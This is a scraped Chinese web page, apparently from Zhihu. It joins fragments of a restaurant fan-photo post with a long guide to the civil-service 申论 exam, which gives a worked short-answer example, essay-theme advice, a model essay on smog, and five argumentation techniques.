的“黑历史” ╮(╯▽╰)╭
&/p&&p&&strong&@NY&/strong&&/p&&p&这张图是我在仙霞路上的荞麦道拍的，这家店因为食鉴局那篇仙霞路的文章种草，说好了要拔草三次都没有机会，所以真正吃到的时候热泪盈眶超级感动，味道很不错，除了荞麦面好吃，套餐里的拌饭居然意外的味道也很灵。&/p&&img src=&/v2-9eaee338dfef9d7b4cf1b5da8dfc2345_b.jpg& data-rawwidth=&900& data-rawheight=&869& data-thumbnail=&/v2-9eaee338dfef9d7b4cf1b5da8dfc2345_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-9eaee338dfef9d7b4cf1b5da8dfc2345_r.gif&&&p&&strong&局座点评：&/strong&你吃得热泪盈眶，局座看得超级感动，感谢有你这样的粉丝一路相随。&/p&&p&其实还有很多粉丝的精彩照片，总共有&strong&200多个回复&/strong&呢……篇幅有限，只能选出了25位，请众多粉丝包涵。&/p&&p&&img src=&/v2-84aa29ae70bbb7e0cf88a_b.png& data-rawwidth=&600& data-rawheight=&256& class=&origin_image zh-lightbox-thumb& width=&600& data-original=&/v2-84aa29ae70bbb7e0cf88a_r.png&&合作洽谈请发邮件“”联系&/p&
这个世界变化快。很多事物，一眨眼就被替换更新了。可有些东西，似乎就是能跳脱这种命运。比如，有些老歌，从儿时的磁带、到后来的CD、MP3，再到如今手机里各种音乐APP，听歌工具换了几代，但每换一次，第一件事就是把这些歌找齐——一直听着，不换。比如，…
&p&先晒一个成绩先，我已经不止一次申论80+了，深圳市考考过80+，然而行测60.几，没超过61，笔试第二，面试挂了。3月5日更新，在最后。对于申论复习，我是有一些心得的。&/p&&br&&p&申论由小题和大作文组成，在我看来，包括国考在内，除了江苏省考，其他省份的小题，都应该拿75%的分，比如广东省考小题60分，小题你应该拿45分以上才行，因为小题很大程度可以理解为客观题，按点给分，你学会了答小题的招数，怎么样都是高分。 &/p&&p&而大作文就因人而异了，写好大作文，需要范文的积累、理论知识的积累。更需要学会立意。我会在后边教。
&/p&&br&&p&1.小题 &/p&&p&在我看来，小题得分类似于行测资料分析，看似难，其实练下来，最后都能拿近乎满分，你们要上岸的话，申论没有70左右，要想行测高分很难的。我211理工科大学毕业，基础还算很好，行测没上过70，说多了都是泪，靠着神一样的申论上来的。申论又是靠稳定的小题，以及套路很深的大作文上岸的。
说了这么多，很多人要说了，你倒是说啊，小题怎么高分。我用一道真题讲解一下你就知道了。
&/p&&br&&p&广东省2016年公务员考试申论真题，第一小题。&/p&&br&&p&请概括资料3所反映的我国制造业创新发展面临的主要问题。（20分） 要求：概括全面准确，条理清晰，篇幅不超过200字。 &/p&&br&&p&首先我们审题，审题有三环：1.材料范围，这里是材料3；2.核心关键词：创新发展、问题；3.要求：全面、有条理，凡是要求有条理的，都要按照123这样分点答题。
&/p&&br&&p&其次我们精度材料。我把资料3附在下面，学习一下怎么寻找答案。头脑中记住核心关键词：创新发展、问题。其实我做题脑子里会想到钟君的万能八条，宣传啊、人才啊、投入啊、制度啊，这些万能八条里的词，看到就应该要敏感。括号里是我写的。 &/p&&br&&p&资料3
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月，我国乘用车累计销售1648.47万辆，同比增长3.89%,中国车市以“低增长”的方式缓慢前行，人才匮乏（这里有人才，立马想到这是一个得分点）成为制约汽车行业快速发展的最大瓶颈。据汽车行业一专家介绍，目前中国汽车行业研发、生产技术人才缺口40万，汽车销售和售后人才缺口70万，累计缺口达100多万（这句话补充说明人才匮乏）。他说，“整体而言，目前汽车行业人才参差不齐，缺乏高精尖人才，影响中国由汽车大国走向汽车强国的步伐。”
对于我国机器人产业而言，最大的难题则在于技术（万能八条里有增加投入、依靠技术，如果你背的熟悉，一看到技术就立马眼睛亮）。近两年，中国本土机器人厂商猛增至近千家，但（看到转折要注意，后面提到了“低端”这个表示问题的词）主要扎堆低端机器人的制造。减速器，特别是被机器人产业内称之为机器人“御用”的RV减速器在我国起步太晚（起步太晚、基本空白，这种表达问题的词要注意），基本空白。RV减速器设计需要专用软件，仅通过测绘无法得到精确齿形数据，零件加工精度要求极高，加工困难。由于无法简单“山寨”,RV减速器的自主研发道路及其艰难。到目前为止，中国人申请的RV减速器专利仅26件，有效专利只有13件，发明专利（看到专利，看到“只有”两个字，就应该想到缺乏发明专利）只有2件，且都不属于核心技术。国外申请人在华申请了专利47件，其中有效的26件，全部是发明专利（和国外的对比更加说明了我国发明专利、有效专利缺乏）。
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近年来，随着创新战略的加快推进，我国研发支出呈现迅速增长趋势，研发经费占GDP的比重逐年增长，2013年首次突破了2.08%.2014年研发经费占GDP的比重提升至2.09%.数据表明，我国正在向创新型国家转变。尽管如此，相比发达国家，我国仍有不小差距（“差距”这种字眼就是在说明问题的，你们要多注意，说明我国的研发投入仍然不够）。据统计，美国2012年的研发投入为4535亿美元，中国2014年相关投入约为1.3万亿人民币，不足美国2012年的一半。作为科研经费投入的当然主体，目前，我国超过70%的研发经费来自企业，但（看到这个但没有，和前文的逻辑一样，先说我国的背景，用转折来引入问题）与国际同行相比，我国企业的研发投入强度还有差距（“差距”一词又出现了，说明我国企业研发投入强度低），如华为的投入强度为8.9%,而微软近14.6%;东风汽车为2.1%,而日本丰田为3.6%,德国大众为5.2%（用数据对比说明我国企业研发投入的问题）.
此外，我国用于基础研究的经费长期偏少（“偏少”又是一个表达问题的词，说明我国基础研究经费不足），2013年用于基础研究的经费仅占研发经费总额的4.7%,远低于发达国家15%~25%的比例。我国企业用于基础研究经费的贡献很少，仅占全部基础研究经费的1.55%,远远不及美国的21.33%.
技术研发固然困难，不让他人觊觎自身成果也不容易，按相关规定，申请专利必须公开专利说明书，而专利说明书一经公布，专利发明的思路及技术特征就公开，专利批准又需要长时间等待，这样一来，专利尚未得到授权保护，就可能已被侵权（被侵权，说明专利保护制度不完善，很多同学说想不到制度这个词，其实不用纠结，你用简单的话翻译前文也是可以的，比如：专利批准时间过长）。盗窃专利技术的速度往往要比申请专利保护的速度快得多。因此，创新者很容易陷入这样的窘境--不申请专利，知识产权得不到保护；申请专利，知识产权也难得到保护。
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更重要的是，相对于窃取专利所获得的巨额利润，侵权者所付出的违法成本（违法成本，有“法律”这个词你就应该敏感）明显过低，这使得许多企业不愿投入资金自主研发。而是想方设法窃取他人的专利，甚至以此为“优势”对专利拥有者展开“成本价格战”.这不仅扰乱了市场秩序，也很容易把发明者及其企业置于死地。
“好酒也怕巷子深”,企业产品没有品牌（很直接说明了没有品牌），打不出品牌，想拥有市场自然难上加难，以医疗器械领域为例，我国该领域约80%的CT、90%的超声波仪器、90%的磁共振设备、90%的心电图机、95%的心脏起搏器等市场被跨国公司垄断。造成这一局面的原因，一方面是国产医疗器械在核心技术上还存在不足（“不足”也是说问题的一个词，核心技术不足，前文提到了），另一方面则不妨归结为国人的“歧视”（国人的歧视，我写答案的时候把它翻译成国人消费观念存偏颇，其实只要改卷老师理解你的意思了，都是可以拿分的）.对此，某CT制造企业首席执行官就曾明言，在合资期间，同一条CT生产线上，既贴牌生产“飞利浦”产品，也生产自主品牌的产品，一模一样的质量，贴上洋标签，市场价格就要高出许多（举例说明了国人消费观念的偏颇）。要想攻占国外品牌据守多年的市场，并不容易。
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《中国制造2025》指出，制造业是国民经济的主体，是立国之本、兴国之器、强国之基。打造具有国际竞争力的制造业，是我国提升综合国力、保障国家安全、建设世界强国的必由之路。经过几十年的快速发展，我国制造业规模跃居世界第一位，建立起门类齐全、独立完整的制造体系，成为支撑我国经济社会发展的重要基石和促进世界经济发展的重要力量。但我国仍处于工业化进程中，与先进国家相比还有较大差距。推进制造强国建设，必须着力解决上述所反映的我国制造业存在的普遍问题。
&/p&&br&&p&答案：这题问的是问题，我们就把能够表达问题的关键词全部先找出来，再进行翻译，表达问题的词有：违法成本低、核心技术不足、投入仍有差距等一眼就能看出来的，还有数字，对数字一定要敏感，一般放数字在材料里肯定是要说明什么，不会白放，比如东风汽车为2.1%,而日本丰田为3.6%，用数字说明中国企业投资低。
我一般建议答案有个总起句，然后后面把具体表现写上去，这样我们既有逻辑，条理清晰，又方便改卷老师找我们的答案，哪怕我们的说法不同于参考答案，也是可以拿分的，只要改卷老师看得懂。
&/p&&br&&p&一、人才匮乏。技术、销售、售后等各式人才缺乏，人才素质参差不齐，缺乏高精尖人才。
&/p&&p&二、缺乏核心技术。技术研发起步晚，有效专利和发明专利少，扎堆中低端产业。
&/p&&p&三、研发投入强度低。研发经费占GDP比重低，基础研究经费投入水平、企业贡献率均远低于发达国家。
&/p&&p&四、知识产权保护制度不健全。专利审批耗时长，漏洞大，违法成本低，市场秩序混乱，企业研发积极性差。
&/p&&p&五、自主品牌价值低。民众对自主品牌缺乏信任，国外品牌垄断市场，企业生存困难。
&/p&&br&&p&2.大作文
&/p&&br&&p&大作文立意是王道。&/p&&br&&p&比如山东14年的红利与红线，广东13年考的管理与服务，很多人拿给我看，立意都不够深。
以管理与服务为例，很多人写的分论点是：协调好管理和服务，有利于政府公信力提升；.协调好管理和服务，有利于企业发展；协调好管理和服务，有利于人民幸福。或者说，协调好管理和服务，需要政府转变观念；协调好管理和服务，需要社会组织配合；协调好管理和服务，需要群众参与。
&/p&&br&&p&这还是我帮大家改过的没那么口水话的分论点了，实际上很多人写的不堪入目。
但是我要讲的，并不是这个。而是如何立意深刻的问题。
你们有没有想过，出卷人让我们写管理与服务，这个“与”字，你们这种立意体现出来了吗？肯定没有的。
&/p&&br&&p&我给同学改的分论点引入了贯穿材料的主题：社会治理，或者说社会管理。
&/p&&br&&p&管理是稳定社会治理的“底盘”
&/p&&br&&p&服务是驱动社会治理的“发动机”
&/p&&br&&p&管理和服务是车之两轮、鸟之双翼，两手都要抓，两手都要硬。
&/p&&br&&p&这样就体现出了管理和服务的辩证关系，而且把社会治理比作一辆车，管理是底盘，服务是发动机。
&/p&&br&&p&为什么说管理是底盘，因为有了管理，才会有社会秩序，才不会有违法乱纪的行为和以次充好、假冒伪劣的企业，有秩序是社会治理的基本要求。
&/p&&br&&p&而为什么说服务是发动机，因为发展到今天，一味重“管理”轻'服务&的观念已经和国情社情违背了，比如小摊小贩的管理，假如我们一味“堵”而不去“疏”，永远不能根治。&/p&&br&&p&而服务能起到“一石四鸟”的作用：如北京城管那样，为小摊小贩提供固定场所，一能满足市民的购买需求，二能维护市容市貌，三能保证小摊小贩的利益，四能减轻城管部门的压力，一举多得，用服务的理念进行社会治理起到良好的效果。在今后的社会治理中，应该多一些这样的观念、这样的措施、这样的态度。 &/p&&br&&p&有了立意的引导，我们大作文很容易填充内容。&/p&&br&&br&&p&本来应学生请求，蔡叔想写一下2016年四川下半年省考大作文，无奈网上的版本都是不全的，可能刚考完不就，于是看了下近年四川省考，觉得2014年的还不错。&/p&&p&2014年四川上半年省考中考了雾霾问题，而今年雾霾又成为了困扰我国华北地区的痼疾，今年连往年未曾笼罩过雾霾的福建、广东地区都没能幸免，正所谓唇亡齿寒。习总书记新年第一周就为神华宁煤煤制油示范项目做特批，便是对解决雾霾问题的极大鼓励。&/p&&p&不管考不考雾霾问题，范文是用来学的不是用来背的，希望你们能学到结构、学到精髓、学到分论点。&/p&&p&集中力量打攻坚战 让人民看到希望&/p&&p&蔡叔&/p&&h2&
从神州大地笼罩在一片“&a href=&///?target=http%3A///link%3Furl%3D6BQ2GdvxiYop1RXpPth-VIWc6uP_8AbNm8Z_M0laqJRFSQkL6PoYdqL2MpBxlX1g3cOjbnoXSPtLN2rBQrE5RhFLa5ZriBiAN126iZDUUtS& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&厚德载雾,自强不吸”中，到华夏人民被迫“霾头苦干,再创灰黄&i class=&icon-external&&&/i&&/a&”；从柴静的《穹顶之下》述说一幕幕烟囱之痛，到王久良讲环境问题的纪录片获奖。雾霾危害赫然眼前，不仅挑战我党建设“美丽中国”的承诺，更直接危害人民健康。行知合一打一场雾霾攻坚战迫在眉睫。&/h2&&br&&br&&h2&
打赢雾霾攻坚战，行知合一才能集中力量。治理雾霾是个复杂的系统工程，好比打一场战争，需要思想意识的到位，否则军心涣散，也需要合适的方式方法，否则缺少排兵布阵、横冲直撞。所以既需要在加大宣传上增实效，也需要在制度机制上做文章。 &/h2&&br&&br&&h2&
知是行之始，加强宣传才能军心凝结、鼓舞士气。一方面，在李克强总理“我们要向对贫困宣战一样，坚决向污染宣战”的号召下，各级政府已经在逐渐转变观念了，认识到不能唯GDP论，不能走“先污染再治理”的老路子，北京、石家庄等市立下军令状“不能治霾就下台”，材料中的T市成立市长领头的改善环境质量领导小组，这都体现了执政观念的转变。但是另一方面，公众的认识却不到位。雾霾问题连年发生，报端上、微信上频现的报道和科学实验，让公众只是认识到雾霾是健康问题的杀手，但是并没有认识到自己也是雾霾的创造者，并不知道减少生活碳排放的知识技能，并未认识应当为减少雾霾出一份力量。于是还需要我们的政府和媒体配合，多一些绿色出行、节能减排的呼吁，多一些不随意燃烧秸秆等制霾物、使用清洁能源等的知识讲解。这样我们的公众才能深刻认识到需要为减霾做贡献、如何为减霾做贡献，我们的治霾大军才能“军民融合”、不断壮大。&/h2&&br&&br&&h2&
行是知之成，完善制度机制才能切入要害、所向披靡。有了思想认识作为保障，我们就需要乘胜追击，在制度和机制上有作为。首先治理雾霾应该上升到法律层面，增大排污企业的污染成本，解决好企业制霾问题；其次要出台有效的办法解决“黄标车”污染问题，北京的“黄标车”报废限行、T市的液化气改造工程都是很好的借鉴；再次要解决好城市供热的污染问题，雾霾多发于冬季，很大原因在于居民使用燃煤锅炉、焚烧废机油灯方式取暖，政府亟需牵头来进行供热改造，一能改善民生、给予百姓冬日温暖，二能减少颗粒物排放，有效治理雾霾，可谓“一石二鸟”。最后政府要擅于发动社会资本和力量治霾，雾霾治理是系统工程，耗费极大，北京上海等大城市要治理，小城市也需要治理，这就需要上层政府的资金调配，以及发动社会资本来“全民治霾”。&/h2&&p&
山川秀美，抵不住污水横流，天空辽阔，拼不过雾霾密布。神州大地是祖先的故园，子孙的家国，政府和全社会需要行知合一，集中力量打赢雾霾攻坚战，才能揭开中国大地上这层雾霾之纱，还祖国真实而美丽的颜容，才能让人民看到希望。&/p&&br&&p&申论大作文如何做到论证充分&/p&&p&在《申论思维体系》系列课程中，蔡老师把一篇好的大作文定位为：&b&字迹工整、立意切题、论证充分、逻辑性强、分论点和开头结尾有文采&/b&这么几个要求。&/p&&p&今天我们就来解说一下，为什么要论证充分，以及如何做到。&/p&&p&为什么要论证充分？&/p&&p&第一，是因为对公务员能力考察的要求。毛主席曾经说过：”没有调查就没有发言权。”调研工作是我们党和政府工作的重中之重，有了调研得来的一手资料，我们还需要撰写调研报告，把自己的思想汇报给上级决策者，这样我们得调研才有意义，才能真正解决问题。&/p&&p&以网约车为例，有人说好，有人骂它。不论是好还是不好，作为公职人员，就需要理性得分析，而不是一味无知地表态。比如说它好，好在可以使得出租车司机再也不用空车跑街找乘客，避免了能源的浪费，同时节省了乘客等车时间，我们还可以举一些数据来说明它好。这个论述网约车优点的过程就是论证，我们通过一手调查得出了观点，就要去论证，&b&论证体现了我们思维的深度，是公务员必备的素质。&/b&&/p&&p&第二，是改卷的要求。最能区分考生能力的就是这个学生思想的深度。有的学生思维特别开阔，比如论证家为什么我国要走绿色发展的道路，有的同学可以从我国能源现状堪忧制约经济增长、产业处于低端用大量的资源换取少量利润、环境污染使老百姓因病返贫等众多角度去论证，论证充分到位，而有的考生只想到绿色发展是我们党执政的新要求新理念，论证就单一而没有说服力。&/p&&p&如何做到论证充分呢？这里就给大家讲一讲五大论证技法。&/p&&p&第一技，例证法。&/p&&p&例证法就是用典型事例来论证的方法。&b&用例证法要注意两个细节：简明扼要和简短分析。&/b&&/p&&p&简明扼要就是说使用举例论证的时候例子一定不能长，太长了就会有背诵或者抄材料的嫌疑。&/p&&p&简短分析，因为例证最核心的还是回归论点，简短的分析是为例子和论点之间搭桥。比如在论证“家风是个人价值观的第一所学校”这个分论点的时候，我利用钱学森的例子：钱学森的父亲钱均夫作为民国教育部长，一辈子致力“兴教救国”，在他爱国报国的家风熏陶下，钱学森在美国学成之后，突破层层困难回到祖国，为百废待兴的祖国做贡献。这个例子举完之后，&b&要记住我们还要搭个桥：所以说，家风对于个人价值观的形成，具有举足轻重的作用，好的家风就会让我们成为品格高尚的人，这样的例子还有很多，如“孟母三迁”、“岳母刺字”等，家风正，则成才有望。&/b&&/p&&p&第二技，引证法&/p&&p&引证法就是引用名人名言、古诗词等来论证。&b&引证法同样要注意两点：简短分析和有针对性。&/b&&/p&&p&简短分析的原理和例证法一样。比如我们在论证“家风是个人价值观的第一所学校”这个分论点的时候，可以用到习总书记的讲话：“青年处在价值观形成和确立的时期，抓好这一时期的价值观养成十分重要。这就像穿衣服扣扣子一样，如果第一粒扣子扣错了，剩余的扣子都会扣错。人生的扣子从一开始就要扣好。”&b&也要记住搭个桥：总书记的话充分表明了家风对于人生价值观形成的重要作用，家风正则品格端正，家风不正则第一颗纽扣都扣歪了。&/b&&/p&&p&第三技，喻证法&/p&&p&如果能用好简直逆天：以广东省考2015年讲规矩为例。我的其中一个分论点就是“企业要讲规矩，才能永续发展”。如何去论证这个分论点呢。我们可以用例证法，比如生产含有三聚氰胺的三鹿奶粉，这家企业不讲规矩，最后在市场上不复存在，而同仁堂这些老字号企业屹立百年不倒，就是按着规矩来、以消费者权益为重心。&/p&&p&&b&我们巧用喻证法更牛逼：消费者是水，企业是舟，水能载舟亦能覆舟，如果我们的企业能循规蹈矩，时刻为消费者考虑，生产良心产品，那么就能愈驶愈稳，驶入更宽广的水域。如果不守规矩，坑蒙拐骗、以次充好，那么消费者的眼睛是雪亮的，企业这个小船早晚会翻，永远失去消费者信任。&/b&是不是水平一下就上来了呢？&/p&&p&第四技，对比论证法。&/p&&p&对比论证法就是对比A和B两个事物的不同点，得出结论，类似于高中时期的生物实验。&/p&&p&比如，我们论证“创新驱动发展亟需改革职业教育体制”，这个分论点是不是很眼熟，经常看到。如何论证呢，我们对比中国和德国：&b&德国制造的产品在全世界都是“香饽饽”，正是因为德国政府高度重视职业教育的发展，在德国，职业学校不仅占有全德高等教育经费的70%以上，职业学院的学生毕业后更能享受丰厚的待遇和社会的尊重。而反观中国，211大学的经费占了中国高等教育经费的90%以上，职业学校毕业的技工更在就业、择偶、晋升、待遇等方面饱受歧视。&/b&最后得出结论：&b&所以说，中国要从制造业大国升级为强国，还需要在职业教育上加大投入和重视程度，改善毕业生的就业质量以及社会认知程度，为国家培养更多“大国工匠”。&/b&&/p&&p&第五技，讲道理&/p&&p&讲道理是最常用也是最直接的论证方法。即平铺直叙地诉说现状、背景等来论证。&/p&&p&比如我们论证“中国需要开辟绿色发展的新路子”这个论点，如何论证啊？我们从现状入手：&b&从国内看，我国能源现状堪忧，不仅天然气、石油等高度依赖进口，而且煤炭等保有量较大的能源平摊给13亿中国人都所剩无几，长此以往，成为了经济发展的大瓶颈；从国际来看，以往我